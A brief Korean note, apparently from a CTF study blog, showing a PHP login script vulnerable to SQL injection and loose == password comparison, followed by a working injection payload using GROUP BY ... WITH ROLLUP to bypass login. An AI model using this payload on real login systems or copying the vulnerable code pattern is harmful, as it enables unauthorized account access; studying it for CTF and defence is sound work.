Web@PHP# PHP자료형 비교 취약점으로 인한 로그인 우회

<?php
    include '../lib/session.php';
    include '../lib/connect_db.php';
    
    $userid=$_POST[userid];
    $passwd=$_POST[passwd];
    #$sql="select * from users where userid='$userid' and passwd='$passwd'";
    $result=mysql_query($sql, $connect);
    $list=mysql_num_rows($result);
    
    $q = mysql_query("SELECT * FROM users WHERE userid = '$userid'");
    if(mysql_num_rows($q) == 1) {
        $user = mysql_fetch_array($q);
        if($user['passwd'] == $passwd) {
            print "Login Success\n";
            
        } else {
            print "Login failed!";
        }
    } else {
        print "Login failed!";
    }
    
    mysql_query($connect);
        
?>

hi0802' group by passwd WITH ROLLUP LIMIT 1 OFFSET 1 #

참고

[1] https://raz0r.name/other/phdays-2013-ctf-blade-writeup/

[2] http://php.net/manual/kr/types.comparisons.php